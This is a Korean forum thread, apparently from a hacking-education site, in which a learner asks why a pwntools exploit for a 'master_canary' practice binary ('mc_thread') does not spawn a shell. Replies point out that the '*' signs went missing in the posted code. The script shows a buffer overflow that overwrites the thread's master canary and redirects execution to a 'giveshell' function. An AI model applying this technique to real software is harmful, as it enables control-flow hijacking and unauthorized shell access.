코드는 맞는것 같은데 쉘이 실행이 안됩니다
from pwn import *
p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b'a'*264
pay += b'a'8
pay += p64(e.symbols['giveshell'])
pay += b'a'(0x948-len(str(pay)))
pay += p64(0x4141414141414141)
p.sendlineafter('Size: ', str(len(pay)))
p.sendlineafter('Data: ', pay)
p.interactive()
코드는 정말 맞는데 쉘이 안떠요ㅕ
#시스템해킹
#배경지식
#master_canary
작성자 정보
답변
2
wyv3rn
무플 방지 위원회장
일단은 8에서 곱하기가 빠진것같은데요? ㅎㅎ
그 밑에도요
jihoyun
대표 업적 없음
from pwn import *
p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b'a'*264
pay += b'a'8
pay += p64(e.symbols['giveshell'])
pay += b'a'(0x948-len(str(pay)))
pay += p64(0x4141414141414141)
p.sendlineafter('Size: ', str(len(pay)))
p.sendlineafter('Data: ', pay)
p.interactive()
곱하기가 안뜨는 구간이 있네요?